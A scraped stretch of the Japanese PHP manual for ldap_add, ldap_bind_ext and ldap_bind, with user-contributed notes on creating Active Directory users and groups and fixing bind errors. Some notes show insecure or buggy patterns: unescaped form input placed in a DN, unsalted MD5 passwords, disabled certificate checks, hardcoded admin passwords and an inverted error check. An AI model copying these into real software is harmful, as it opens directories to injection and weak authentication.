There are no user contributed notes for this page.


LDAP ディレクトリにエントリを付加する

  • ≪ ldap_add_ext
  • ldap_bind_ext ≫
  • PHP Manual
  • LDAP 関数
  • LDAP ディレクトリにエントリを付加する

ldap_add

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_add — LDAP ディレクトリにエントリを付加する

説明

ldap_add ( resource $ldap , string $dn , array $entry , array|null $controls = null ) : bool

エントリを LDAP ディレクトリに追加します。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

dn

LDAP エンティティの識別名。

entry

そのエントリに関する情報を表す配列。 エントリの値は、個々の属性によりインデックスが作成されています。 ある属性に関して複数の値がある場合は、0 から始まる整数で 添字が作成されます。

<?php
$entry["attribute1"] = "value";
$entry["attribute2"][0] = "value1";
$entry["attribute2"][1] = "value2";
?>

controls

リクエストと一緒に送信する LDAP コントロール の配列

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。
7.3 | controls のサポートが追加されました。

例

例1 認証型バインドの例

<?php
$ds = ldap_connect("localhost");  // LDAP サーバーはこのホストであると仮定

if ($ds) {
    // 更新アクセスを行うために適当な dn でバインドする
    $r = ldap_bind($ds, "cn=root, o=My Company, c=US", "secret");

    // データを準備する
    $info["cn"] = "John Jones";
    $info["sn"] = "Jones";
    $info["objectclass"] = "person";

    // データをディレクトリに追加
    $r = ldap_add($ds, "cn=John Jones, o=My Company, c=US", $info);

    ldap_close($ds);
} else {
    echo "LDAP サーバーに接続できません";
}
?>

注意

注意: この関数はバイナリデータに対応しています。

参考

  • ldap_add_ext() - LDAP ディレクトリにエントリを付加する
  • ldap_delete() - ディレクトリからエントリを削除する

User Contributed Notes

Baumkuchen.TH 19-Nov-2018 06:40
Create Group in Active Directory

<?php
$ds = ldap_connect("IP-server/localhost");
$base_dn = "CN=Group name,OU=Organization Unit,DC=Domain-name,DC=com";//distinguishedName of group

if ($ds) {
// bind with appropriate dn to give update access
ldap_bind($ds, "CN=Administrator,OU=Organization Unit,DC=Domain-name,DC=com", "some-password");

//Add members in group
$member_array = array();
$member_array[0] = "CN=Administrator,OU=Organization Unit,DC=Domain-name,DC=com";
$member_array[1] = "CN=User,OU=Organization Unit,DC=Domain-name,DC=com";

$entry["cn"] = "GroupTest";
$entry["samaccountname"] = "GroupTest";
$entry["objectClass"] = "Group";
$entry["description"] = "Group Test!!";
$entry["member"] = $member_array;
$entry["groupType"] = "2";//GroupType="2" is Distribution / GroupType="1" is Security

ldap_add($ds,$base_dn,$entry);

ldap_close($ds);
} else {
echo "Unable to connect to LDAP server";
}
?>
Igor2i 05-Sep-2013 07:37
Решил добавить специально для русскоязычных пользователей.
У меня сервер на Gentoo с поддержкой кириллици в кодировке UTF-8.
И при вводе через форму кириллицы выдавал ошибку синтаксиса.
Решение проблемы:
1) код требуется перекодировать в UTF-8 без BOM
2) и в начале кода вставить строку
<?php
header('Content-Type: text/html; CHARSET=shift-jis');
?>
paul90brown at gmail dot com 14-Jan-2013 07:04
I kept getting "Object Class Violation" when I tried adding posixAccount and shadowAccount as an objectclass. It turned out that these object classes had a lot of required fields that I was not adding. You may need to export a working user (if you have phpLDAPadmin) and see exactly what fields they have, then try to copy it exactly in the script. It also doesn't hurt if you make everything an Array the first time around, you can fix those fields later.
sergioshev 22-Apr-2008 10:29
once i'am having problmes to add attributes with boolean syntax (1.3.6.1.4.1.1466.115.121.1.7)

$['boolean_attr']=true; //give me one warning, ldap_add(): Add: Invalid syntax

solved this by setting the value on this:

$['boolean_attr']='TRUE';

hope this can helps.
phil at networkalliance dot com 14-Feb-2008 09:24
I created a simple function that can be called to create global distribution groups in Active Directory:

<?php
function ldap_createGroup($object_name, $dn, $members, $ldap_conn)
{
    $addgroup_ad['cn']="$object_name";
    $addgroup_ad['objectClass'][0] = "top";
    $addgroup_ad['objectClass'][1] ="group";
    $addgroup_ad['groupType']="2";
    $addgroup_ad['member']=$members;
    $addgroup_ad["sAMAccountName"] =$object_name;

    ldap_add($ldap_conn,$dn,$addgroup_ad);

    if(ldap_error($ldap_conn) == "Success")
      return true;
    else
      return false;
}
?>

You can call this function using the follow code:

<?php
$ldap_conn = ldap_bind();
$object_name="Test Group";
$dn="CN=".$object_name.",OU=PathToAddGroupTo,OU=All Users,DC=YOURDOMAIN,DC=COM";
$members[] ="CN=User1,OU=PathToAddGroupTo,OU=All Users,DC=YOURDOMAIN,DC=COM";
$members[] ="CN=User2,OU=PathToAddGroupTo,OU=All Users,DC=YOURDOMAIN,DC=COM";

ldap_createGroup($object_name, $dn, $members, $ldap_conn);
?>

The other function I created is ldap_bind(), and this can be used to bind to an LDAP server:

<?php
function ldap_bind()
{
  $ldap_addr = '192.168.1.1';  // Change this to the IP address of the LDAP server
  $ldap_conn = ldap_connect($ldap_addr) or die("Couldn't connect!");
  ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);
  $ldap_rdn = "domain_name\\user_account";
  $ldap_pass = "user_password";

  // Authenticate the user against the domain controller
  $flag_ldap = ldap_bind($ldap_conn,$ldap_rdn,$ldap_pass);
  return $ldap_conn;
}
?>
stian 01-Nov-2007 06:27
This solution works for us.
In the form the CN and pwdtxt are randomly generated from strict rules.
This script creates 50-60 users i AD pr.day! and never even had a glitch!

<?php
## From form
$CN = $_POST['CN'];
$givenName = $_POST['givenName'];
$SN = $_POST['SN'];
$mail = $_POST['mail'];
$Phone = $_POST['Phone'];
$pwdtxt = $_POST['pwdtxt'];

$AD_server = "localhost:390"; // Local Stunnel --> http://www.stunnel.org/
$AD_Auth_User = "administrator@student.somwhere.com"; //Administrative user
$AD_Auth_PWD = "duppiduppdupp"; //The password

$dn = 'CN='.$CN.',OU=Brukere,DC=student,DC=somwhere,DC=com';

## Create Unicode password
$newPassword = "\"" . $pwdtxt . "\"";
$len = strlen($newPassword);
$newPassw = "";

for($i=0;$i<$len;$i++) {
    $newPassw .= "{$newPassword{$i}}\000";
}

## CONNNECT TO AD
$ds = ldap_connect($AD_server);
if ($ds) {
    ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3); // IMPORTANT
    $r = ldap_bind($ds, $AD_Auth_User, $AD_Auth_PWD); //BIND

    $ldaprecord['cn'] = $CN;
    $ldaprecord['givenName'] = $givenName;
    $ldaprecord['sn'] = $SN;
    $ldaprecord['objectclass'][0] = "top";
    $ldaprecord['objectclass'][1] = "person";
    $ldaprecord['objectclass'][1] = "organizationalPerson";
    $ldaprecord['objectclass'][2] = "user";
    $ldaprecord['mail'] = $mail;
    $ldaprecord['telephoneNumber'] = $Phone;
    $ldaprecord["unicodepwd"] = $newPassw;
    $ldaprecord["sAMAccountName"] = $CN;
    $ldaprecord["UserAccountControl"] = "512";
//This is to prevent the user from beeing disabled. -->
http://support.microsoft.com/default.aspx?scid=kb;en-us;305144

    $r = ldap_add($ds, $dn, $ldaprecord);

} else {
    echo "cannot connect to LDAP server at $AD_server.";
}

?>

This is code example creates a user i AD.
We use this on an internal web page to create
temporary users that kan access the wireless network.
We have a .pl script that deletes the users after 24H.
Willie 15-Aug-2007 02:16
In response to:
Note that you cannot use base64 encoding, you have to use utf-8 encoding for special chars instead.
--

I have found that if I have a special character (or a newline) that ldap_add and ldap_modify will automatically do the base64 encoding for you.  For example:

<?php
// assuming binding is done, etc.
$entry['postalAddress'] = "123 East 456 West\nSuite A103";
ldap_modify($ds, $dn, $entry);
?>

The function or server will take the newline and convert it into base64 automatically (same goes for other special characters).

You may be able to verify by using a command-line ldapsearch
ldapsearch -b "dc=example,dc=com" -x "(cn=Example Person)" postalAddress

You'll see that the result comes up as
dn: cn=Example Person,dc=example,dc=com
postalAddress:: MTIzIEVhc3QgNDU2IFdlc3QKU3VpdGUgQTEwMw==

See the double colons after postal address?  That's how LDAP states it's base64 encoded in this case.
damien at groovey dot com 19-Dec-2006 02:08
Here is how to add a user with a hashed MD5 password to OpenLDAP.  I used this technique to migrate Drupal accounts into OpenLDAP for a single-sign-on solution.

The trick to it is to tell OpenLDAP the hash type (e.g. {MD5}) before the password, and also to base64 encode the BINARY hashed result.  You cannot just base64 encode what is returned by PHP's md5() or sha() hash functions, because they return a hexadecimal text string.  First you must use pack("H*", $hash_result) to make that a binary string, THEN you can base64 encode it.

Here is complete code for connecting and adding a user with a hashed password.  You don't have to use {MD5}, you could pick a different hash if that is what you have.  The output from one of these hashed passwords will look like this:  {md5}bdwD04RS9xMDGVi1n/H36Q==

Finally some caveats:  This technique will not work if you hashed the password using a salt value (but Drupal does not).  This technique will also certainly not work with active directory, where passwords can definitely only be set over SSL connections and hashing probably works differently.

---- snip ----

$ds = ldap_connect($serverAddress);
if ($ds) {
  ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);  // otherwise PHP defaults to ldap v2 and you will get a Syntax Error!
  $r = ldap_bind($ds, $managerDN, $managerPassword);
  $ldaprecord['cn'] = $newuser_username;
  $ldaprecord['givenName'] = $newuser_firstname;
  $ldaprecord['sn'] = $newuser_surname;
  // put user in objectClass inetOrgPerson so we can set the mail and phone number attributes
  $ldaprecord['objectclass'][0] = "person";
  $ldaprecord['objectclass'][1] = "organizationalPerson";
  $ldaprecord['objectclass'][2] = "inetOrgPerson";
  $ldaprecord['mail'] = $newuser_email_address;
  $ldaprecord['telephoneNumber'] = $newuser_phone_number;
  // and now the tricky part, base64 encode the binary hash result:
  $ldaprecord['userPassword'] = '{MD5}' . base64_encode(pack('H*',$newuser_md5hashed_password));
  // If you have the plain text password instead, you could use:
  // $ldaprecord['userPassword'] = '{MD5}' . base64_encode(pack('H*',md5($newuser_plaintext_password)));
  $r = ldap_add($ds, $base_user_dn, $ldaprecord);
} else { die "cannot connect to LDAP server at $serverAddress."; }
chad dot smith at 50marketing dot com 29-Sep-2005 02:56
I took spam2004 at turniton dot dk example and made it a bit better.  Maybe my setup was a bit different but either way here is how I added a group in Microsoft Windows Server 2003.

<?php
// Connect using ldap_connect
// Bind using ldap_bind
// Set LDAP_OPT_PROTOCOL_VERSION to 3
$member_array = array();
$member_array[0] = "cn=user1,cn=Users,dc=yourdomain,dc=com";
$member_array[1] = "cn=administrator,cn=Users,dc=yourdomain,dc=com";

$addgroup_ad["cn"] = "testgroup";
$addgroup_ad["samaccountname"] = "testgroup";
$addgroup_ad["objectClass"] = "Group";
$addgroup_ad["description"] = "Yep just a test.";
$addgroup_ad["member"] = $member_array;
$base_dn = "cn=testgroup,cn=Users,DC=yourdomain,DC=com";
ldap_add($ldap_conn,$base_dn,$addgroup_ad);
// This is it.
?>

Take care and good luck,
Chad R. Smith
theiderich AT laweekly dot com 15-Jul-2005 10:19
When adding/editing attributes for a user, keep in mind that the 'memberof' attribute is a special case.  The memberOf attribute is not an accessible attribute of the user schema. To add someone to a group, you have to add the user in the group, and not the group in the user. You can do this by accessing the group attribute 'member':

<?php

$group_name = "CN=MyGroup,OU=Groups,DC=example,DC=com";
$group_info['member'] = $dn; // User's DN is added to group's 'member' array
ldap_mod_add($connect,$group_name,$group_info);

?>
micattack+phpnet at gmail dot com 02-May-2005 06:32
When getting the dreaded invalid syntax, it helps turning on debugging in ldap. Looking at /var/log/ldap, gets you things like

May  2 13:51:21 tux slapd[12985]: conn=4934 op=1 RESULT tag=105 err=21 text=phpgwtz: value #0 invalid per syntax
May  2 13:52:02 tux slapd[12697]: No objectClass for entry (uid=1, ou=adressen, dc=...
hp at syntomax dot com 28-Oct-2004 06:31
Another fun thing: ldap_add() doesn't like arrays with empty members: so
array (
      [cn] = "name"
      [key] = ""
      [anotherkey] = "value"
)
will yield a syntax error!

solve this with a simple peice of code:

foreach ($originalobject as $key => $value){
        if ($value != ""){
                $object[$key] = $value;
        }
}

where $originalobject is the uncecked array and $object is the one without empty members.
amcnabb 21-Oct-2004 02:37
Be careful with types.  PHP switches automatically between strings and numbers, but LDAP doesn't, and PHP will send whatever is most convenient for PHP, not LDAP, unless you specify a type.

If you inadvertently send a number as a string, you will get an error: "ldap_add(): Add: Invalid syntax in [filename] on line LINENUM."

Observe this example which makes an array to send to LDAP to create a POSIX group.  Note that $new_groupid, which is technically a string, must be typecast with (int).

         $new_ldap_group['cn'] = $groupname;
         $new_ldap_group['objectclass'][0] = 'posixgroup';
         $new_ldap_group['objectclass'][1] = 'top';
         $new_ldap_group['gidnumber'] = (int) $new_groupid;
spam2004 at turniton dot dk 04-Oct-2004 04:06
To add a group in Windows AD..
$object_name="testgroup2";
$members[]="CN=THU,ou=Users,dc=addomain,dc=domain,dc=dk";
$members[]="CN=testgroup2,ou=Groups,dc=addomain,dc=domain,dc=dk";
$addgroup_ad['cn']="$object_name";
$addgroup_ad['objectClass'][0] = "top";
$addgroup_ad['objectClass'][1] ="group";
$addgroup_ad['descripton']=$object_description;
$addgroup_ad['member']=$members;
$addgroup_ad["sAMAccountName"] =$object_name;

// notice param 2 (dn) will probably be different
$dn="cn=".$object_name.",ou=Groups,dc=addomain,dc=domain,dc=dk";
ldap_add($ldapc,$dn,$addgroup_ad);
ondrej dot duchon at t-systems dot cz 14-Jan-2004 06:49
IF you need use national characters (iso 8859-2,8 etc.) it's good way to use  ldap_set_option.
It was hard job to find where is a bug ;-))). I hope that helps somebody.

 ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
ondrej dot duchon at t-systems dot cz 14-Jan-2004 04:58
jharnett at artschool dot com:
For active user in AD u must change "useraccountcontrol" to 512, 512 = enabled, 514 = disabled
Andrew (a.whyte at cqu.edu.au) 24-Sep-2003 07:49
In reference to the questions about Account Enabling, you can use the table found at Microsoft's Support site to help with these attributes.

You are correct that '2' is the Account Disabled flag, but there are others, which allow you to detect/set password force expiry and the like.

Hope this URL is usefull for that:

http://support.microsoft.com/default.aspx?scid=kb;en-us;305144

Cheers.
John Van Atta 19-May-2003 06:52
In response to jharnett's question about accounts disabled by default from ldap_add, we have found a solution.

The attribute userAccountControl contains a value that includes whether the account is disabled or enabled. The default for us is 546; when we changed that to 544 the account became enabled. Changing whatever value is in userAccountControl by 2 seems to enable or disable the account.

The following code worked for us to create a new user with an enabled account:

$adduserAD["userAccountControl"] = "544";

We just added this element to the above example's array.
Axel D. (FRANCE) 04-Mar-2003 08:26
Try this script if you don't know how to add an user in the AD Win2K.
To have more informations about the attributes, open the adsiedit console in the Support Tools for Win2K.

$adduserAD["cn"][0] =
$adduserAD["instancetype"][0] =
$adduserAD["samaccountname"][0] =
$adduserAD["objectclass"][0] = "top";
$adduserAD["objectclass"][1] = "person";
$adduserAD["objectclass"][2] = "organizationalPerson";
$adduserAD["objectclass"][3] = "user";
$adduserAD["displayname"][0] =
$adduserAD["name"][0] =
$adduserAD["givenname"][0] =
$adduserAD["sn"][0] =
$adduserAD["company"][0] =
$adduserAD["department"][0] =
$adduserAD["title"][0] =
$adduserAD["description"][0] =
$adduserAD["mail"][0] =
$adduserAD["initials"][0] =
$adduserAD["samaccountname"][0] =
$adduserAD["userprincipalname"][0] =
$adduserAD["profilepath"][0] =
$adduserAD["manager"][0] = ***Use DistinguishedName***

if (!($ldap = ldap_connect("localhost"))) {
     die ("Could not connect to LDAP server");
}
if (!($res = @ldap_bind($ldap, "user@pc.com", $password))) {
     die ("Could not bind to the LDAP account");
}
if (!(ldap_add($ldap, "CN=New User,OU=OU Users,DC=pc,DC=com", $adduserAD))){
     echo "There is a problem to create the account
     echo "Please contact your administrator !";
     exit;
}
ldap_unbind($ldap);
jharnett at artschool dot com 22-Oct-2002 02:43
For some wacky reason, when the new account is added using ldap_add(), the account is set to "inactive".
And from what I can see there is no modifiable attribute to "re-enable" that user. I suppose by default, if the specific flags are not set the default values are used. Anyone that has a fix for this, please post, I'm pulling out what little hair I have left.
del at babel dot com dot au 23-Jun-2002 09:55
If you need to add an attribute that is binary encoded (eg: userCertificate), then you need to add the ";binary" specification at the end of the field name.

eg:

$info["userCertificate;binary"] = $myBinaryCert;
$ldap_add ...

Del
titus dot stahl at experts4 dot com 30-Aug-2001 06:53
Note that you cannot use base64 encoding, you have to use utf-8 encoding for special chars instead.
akohlsmith at mixdown dot org 12-Sep-1999 04:48
ldap_add() will only honour the $entry["attribute"][x]="value" *if there are multiple values for the attribute*.  If there is only one attribute value, it *MUST* be entered as $entry["attribute"]="value" or ldap_add() sets the value for the attribute to be "Array" instead of what you put into $entry["attribute"][0].

Here is a little routine I wrote up to do this automatically.  when you're parsing the input, just use multi_add():
<?php
function multi_add($attribute, $value)
{
 global $entry;                                // the LDAP entry you're gonna add

 if(isset($entry[$attribute]))
   if(is_array($entry[$attribute]))
     $entry[$attribute][count($entry[$attribute])] = $value;
   else
     {
     $tmp = $entry[$attribute];
     unset($entry[$attribute]);
     $entry[$attribute][0] = $tmp;
     $entry[$attribute][1] = $value;
     }
 else
   $entry[$attribute] = $value;
}
?>
multi_add() checks to see if there is already a value for the attribute.  if not, it adds it as $entry[$attribute]=$value.  If there is already a value for the attribute, it converts the attribute to an array and adds the multiple values correctly.

How to use it:
<?php
switch($form_data_name)
      {
      case 'phone': multi_add("telephoneNumber", $form_data_value); break;
      case 'fax': multi_add("facsimileTelephoneNumber", $form_data_value); break;
      case 'email': multi_add("mail", $form_data_value); break;
      ...
      }
?>
In the system I designed the form has pulldowns with names ctype1, ctype2, ctype3, etc. and the values are "fax, mail, phone...".  The actual contact data (phone number, fax, email, etc) is contact1, contact2, contact3, etc.  The user pulls down what the contact type is (phone, email) and then enters the data (number, address, etc.)

I use variable variables to fill the entry and skip blanks.  Makes for a very clean form entry system.  email me if you're interested in it, as I think I'm outgrowing the size of note allowed here.  :-)


LDAP ディレクトリにバインドする

  • ≪ ldap_add
  • ldap_bind ≫
  • PHP Manual
  • LDAP 関数
  • LDAP ディレクトリにバインドする

ldap_bind_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_bind_ext — LDAP ディレクトリにバインドする

説明

ldap_bind_ext ( resource $ldap , string|null $dn = null , string|null $password = null , array|null $controls = null ) : resource|false

ldap_bind() と同じですが、 ldap_parse_result() を使ってパースされた結果リソースを返します。

パラメータ

ldap_bind() を参照してください。

返り値

LDAP の結果識別子を返します。 エラーの場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。

参考

  • ldap_bind() - LDAP ディレクトリにバインドする
  • ldap_parse_result() - 結果から情報を展開する

User Contributed Notes

There are no user contributed notes for this page.


LDAP ディレクトリにバインドする

  • ≪ ldap_bind_ext
  • ldap_close ≫
  • PHP Manual
  • LDAP 関数
  • LDAP ディレクトリにバインドする

ldap_bind

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_bind — LDAP ディレクトリにバインドする

説明

ldap_bind ( resource $ldap , string|null $dn = null , string|null $password = null ) : bool

指定した RDN およびパスワードを用いて LDAP ディレクトリにバインドします。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

dn

password

password を省略または空にした場合は匿名バインドを試みます。 匿名バインドのため、dn も空のままにできます。 これは、https://tools.ietf.org/html/rfc2251#section-4.2.2 で定義されています。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 LDAP バインドの使用

<?php

// ldap バインドを使用する
$ldaprdn  = 'uname';     // ldap rdn あるいは dn
$ldappass = 'password';  // パスワード

// ldap サーバーに接続する
$ldapconn = ldap_connect("ldap.example.com")
    or die("Could not connect to LDAP server.");

if ($ldapconn) {

    // ldap サーバーにバインドする
    $ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

    // バインド結果を検証する
    if ($ldapbind) {
        echo "LDAP bind successful...";
    } else {
        echo "LDAP bind failed...";
    }

}

?>

例2 LDAP 匿名バインドの使用

<?php

// ldap 匿名バインドを使用する

// ldap サーバーに接続する
$ldapconn = ldap_connect("ldap.example.com")
    or die("Could not connect to LDAP server.");

if ($ldapconn) {

    // 匿名でバインドする
    $ldapbind = ldap_bind($ldapconn);

    if ($ldapbind) {
        echo "LDAP bind anonymous successful...";
    } else {
        echo "LDAP bind anonymous failed...";
    }

}

?>

参考

  • ldap_unbind() - LDAP ディレクトリへのバインドを解除する

User Contributed Notes

peter dot mlich at volny dot cz 05-Jun-2020 07:07
Example code from my ldap class.
this->query i send notes under ldap_search function documentation.

public function queryUserLogin($user_name='', $user_psw='', $tls_bool=true) // na localhostu pouzit tls=false
    {
    var_dump('queryUserLogin');
//$tls_bool = false;    // for localhost
    $fn     = 'queryUser';
    $config = $this->config;
    $conn   = $this->conn;
    if (!$conn)
        {return $this->errorConnection($fn);}
    // user - exist name?
    $user_name = $this->escapeValue($user_name);
    $user_psw  = $this->escapeValue($user_psw);
    $filter = "(&(objectclass=person)(cn=".$user_name."))";
//var_dump($filter);
    $att    = array('dn');
    $data   = $this->query($filter, $att, 2, true);
    if ($data===false)
        {
        $this->error("User error, nenalezen v ldap!");
        $this->disconnect();
        return false;
        }
    // user - exist user in LDAP (name, psw)
    $user = is_array($data) && isset($data[0]) && isset($data[0]['dn']) ? $data[0]['dn'] : '';    // "cn=mynickname,ou=users,o=su"
    $psw  = $user_psw;
    if ($user=='' || $psw=='')
        {
        $this->error("User error, prazdne prihlasovaci udaje!");
        $this->disconnect();
        return false;
        }
    if ($tls_bool==true)
        {
        if (ldap_start_tls($conn))    //php7
            {
            $result = @ldap_bind($conn, $user, $psw);
            }
        else    {
            $this->error("Unable to start TLS!");  // SSL encrypt protocol, certificate, deprecated?
            }
        }
    else    {
        $result = @ldap_bind($conn, $user, $psw);
        }
    if ($result==false)
        {
        $this->error("Bind user error! bindDN = ".$user);    //".ldap_error($conn)."
        $this->disconnect();
        return false;
        }
    // user - get user info, bind to ldap user with more permitions and get data (login to intercon user)
    $user   = $config['userInterconDn'];
    $psw    = $config['userInterconPsw'];
    if ($tls_bool==true)
        {
        if (ldap_start_tls($conn))    //php7
            {
            $result = ldap_bind($conn, $user, $psw);
            }
        else    {
            $this->error("Unable to start TLS!");  // SSL encrypt protocol, certificate, deprecated?
            }
        }
    else    {
        $result = ldap_bind($conn, $user, $psw);
        }
    if ($result==false)
        {
        $this->error("Bind user intercon error!");    // . ldap_error($conn) !Nezobrazovat jmeno usera interconu
        $this->out = array(
            'uid'         => $user
            );
        return true;
        }
    // search user data
    $filter = "(&(objectclass=person)(cn=" . $user_name . "))";
//var_dump($filter);
    $att    = array(
        'uid',
        'workforceID',
        'employeeID',
        'givenName',
        'sn',
        'mail'
        );
    $data   = $this->query($filter, $att, 2, true);
       // get data from ldap entires structure
    $this->out = array(
        'uid'         => $this->dataGetValue($data, 'uid'        , ''),
        'workforceID' => $this->dataGetValue($data, 'workforceid', ''),
        'employeeID'  => $this->dataGetValue($data, 'employeeid' , ''),
        'givenName'   => $this->dataGetValue($data, 'givenname'  , ''),
        'sn'          => $this->dataGetValue($data, 'sn'         , ''),    // prijmeni
        'mail'        => $this->dataGetValue($data, 'mail'       , '')    // mail
        );
    $this->conn = $conn;
    return true;
    }
Victor 11-Sep-2019 10:42
(Correction)
ldap_bind does return TRUE if the password is expired or needs to be reset, use ldap_get_option if ldap_bind returns FALSE

<?php

define("EXPIRED_PASSWORD", 532);
define("PASSWORD_RESET", 773);

$handle = ldap_connect('ldap://active.directory.server/');
$bind = ldap_bind($handle, 'user', 'expiredpass');

if (!$bind) {
    if (ldap_get_option($handle, LDAP_OPT_DIAGNOSTIC_MESSAGE, $extended_error)) {
            $errno = explode(',', $extended_error)[2];
            $errno = explode(' ', $errno)[2];
            $errno = intval($errno);

            if ($errno === EXPIRED_PASSWORD) {
                $err = 'Unable to login: Password expired';
            } else if ($errno === PASSWORD_RESET) {
                $err = 'Unable to login: Password needs to be reset';
            } else {
                $err = $extended_error;
            }
            if ($errno === EXPIRED_PASSWORD || $errno === PASSWORD_RESET) {
               #Change password
            }
        }
}
?>
nelson777 at gmail dot com 09-Jul-2018 05:12
I tried the solution above from user_o at hbt dot com about timeout and couldn't make it work. Initially I tried the following:

$this->conn = @ldap_connect($ip, $port);
ldap_set_option($this->conn, LDAP_OPT_NETWORK_TIMEOUT, 10);
ldap_set_option($this->conn, LDAP_OPT_TIMELIMIT, 10);
@ldap_bind($this->conn, $ldapUser, $ldapPwd);

but if the server didn't respond the request locked at this point.
Then using code-completion I found there is a hidden LDAP option: LDAP_OPT_TIMEOUT

so changing the code to:

$this->conn = @ldap_connect($ip, $port);
ldap_set_option($this->conn, LDAP_OPT_NETWORK_TIMEOUT, 10);
ldap_set_option($this->conn, LDAP_OPT_TIMELIMIT, 10);
ldap_set_option($this->conn, LDAP_OPT_TIMEOUT, 10);
@ldap_bind($this->conn, $ldapUser, $ldapPwd);

finally made ldap binding timeout correctly.
RazmanAlias 25-Mar-2017 11:57
I use PHP 7.1.*. In this version ldap_bind will throw a RuntimeException if it fails to bind. I've tried with wrong host name, correct host and wrong password,  correct host and invalid DN syntax. All fail conditions seems to throw RuntimeException.

 So this function probably doesn't return false.
info at multiotp dot net 24-Dec-2015 04:15
GnuTLS and SChannel (Microsoft) implementations are not (yet) compatible for TLS 1.2 negotiation during LDAPS binding (when binding with Microsoft Windows 2012R2 server).

The trick is to disable TLS1.2 before using LDAP functions:

putenv('LDAPTLS_CIPHER_SUITE=NORMAL:!VERS-TLS1.2');
john dot doe at somewhere dot org 20-Jun-2014 05:53
In some structures its not possible to know the dn or rdn up front. However one can use $ldapuser= $samaccountname.'@'.domainname;
deniskutin at gmail dot com 11-Jul-2012 12:07
It's nessesary to add:

<?php
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)
?>

for ldap_bind returned true, while you try to bind for openldap (at least version 2.4.21)
peter dot schlaf at web dot de 20-Jun-2012 12:43
I had a problem doing a ldap_bind over SSL against Active Directory. The server kept telling me: 'Unable to bind to server:'. To solve this (OS: CentOS 6) make sure that /etc/openldap/ldap.conf has this line:

TLS_REQCERT allow
IanB 03-Jan-2012 12:38
If you're using SSL (e.g. ldaps) and ldap_bind is throwing 'Unable to bind to server:' errors, check that the hostname used in the ldap_connect matches the 'CN' in the SSL certificate on the LDAP server. For example:

<?
   ldap_connect('ldaps://ldap01');
  // 'ldap01' should match the CN in your LDAP server's SSL cert, otherwise the subsequent ldap_bind() will throw a bind error

?>

You can check your LDAP server's SSL cert using Openssl utility (Linux) - look for the 'Subject' line:

   $ openssl x509 -in /etc/pki/tls/certs/ldap01.crt -text -noout
   ...
        Subject: C=XY, ST=My State, L=My City, O=My Org, CN=ldap01/emailAddress=me@domain.com
   ...

I recently applied some updates to my system (now Centos 5.7 and PHP 5.3.6) and started having this issue with PHP scripts that had been fine previously where I was simply using the IP address of the server. Replacing the IP address with the hostname fixed my issue.
marnijt at LIKEHAM dot gmail dot com 01-Sep-2011 04:46
After a lot of trail and error i've found the way to authenticate to apple's Opendirectory (snow leopard server) and thought it maybe useful to share.

<?php
    // using ldap bind
    $ldaprdn  = 'uid=USERNAME,cn=users,dc=HOSTNAME,dc=DOMAIN,dc=com';     // ldap rdn or dn
    $ldappass = 'PASSWORD';  // associated password

    // connect to ldap server
    $ldapconn = ldap_connect("HOSTNAME.DOMAIN.com")
            or die("Could not connect to LDAP server.");

    // Set some ldap options for talking to
    ldap_set_option($ldapconn, LDAP_OPT_PROTOCOL_VERSION, 3);
    ldap_set_option($ldapconn, LDAP_OPT_REFERRALS, 0);

    if ($ldapconn) {

            // binding to ldap server
            $ldapbind = @ldap_bind($ldapconn, $ldaprdn, $ldappass);

            // verify binding
            if ($ldapbind) {
                echo "LDAP bind successful...\n";
            } else {
                echo "LDAP bind failed...\n";
            }

    }

?>
bydand1959 at yahoo dot com 24-Jul-2011 04:16
LDAP control support is missing from this implementation. Response controls might be part of the response(s) to the BIND request and must be handled in code.
gtkspert_SPAMMENOT_ at gmail dot com 21-Mar-2011 05:31
Interesting point,

if you can't bind to active directory with the error "49: Invalid Credentials", you can get the extended error output from the ldap_get_option function, using the option: LDAP_OPT_DIAGNOSTIC_MESSAGE. Unfortunately php hasn't defined this by default, but it's value is 0x0032.

This is useful if a user must change their password at first login (Data: 773), or if their account has expired on the network (Data: 532).

<?php

define(LDAP_OPT_DIAGNOSTIC_MESSAGE, 0x0032)

$handle = ldap_connect('ldap://active.directory.server/');
$bind = ldap_bind($handle, 'user', 'expiredpass');

if ($bind) {
    if (ldap_get_option($handle, LDAP_OPT_DIAGNOSTIC_MESSAGE, $extended_error)) {
        echo "Error Binding to LDAP: $extended_error";
    } else {
        echo "Error Binding to LDAP: No additional information is available.";
    }
}
?>

Or something to that effect..

It took me a while to work this one out, so i figured i'd share my results..
elsint at yahoo dot com 16-Dec-2010 02:00
If you are still having trouble after following all the instructions on the Web to get LDAPS to work, here's what worked for me:

I was trying to do LDAPS connection (our LDAP server was using port 40636) by running following command:

ldap_connect("www.example.com",40636)

This didn't work for days till I changed it to the following format:

ldap_connect("ldaps://www.example.com:40636")

Hope it'll help some out there.

-Cagdas
magnetik at magnetik dot org 26-Oct-2010 12:27
Due to a bug in PHP 5.3 you may have to place the ldap.conf in the root of all your drives (I had to place it on D:).

See http://bugs.php.net/bug.php?id=48866
[nie ten]archie 10-Jun-2010 04:48
I'm using OpenLDAP on linux and found out the right bind sequence the hard way... so I'm sharing it with you:

(wkaiser solution is ok if everything works fine, but for development I would suggest using ldap_error command like this)

<?php
$ldapconfig['host'] = '10.10.10.10';
$ldapconfig['port'] = NULL;
$ldapconfig['basedn'] = 'dc=company,dc=com';

$ds=ldap_connect($ldapconfig['host'], $ldapconfig['port']);

$dn="uid=".$username.",ou=people,".$ldapconfig['basedn'];

if ($bind=ldap_bind($ds, $dn, $password)) {
  echo("Login correct");
} else {

  echo("Unable to bind to server.</br>");

  echo("msg:'".ldap_error($ds)."'</br>");#check if the message isn't: Can't contact LDAP server :)
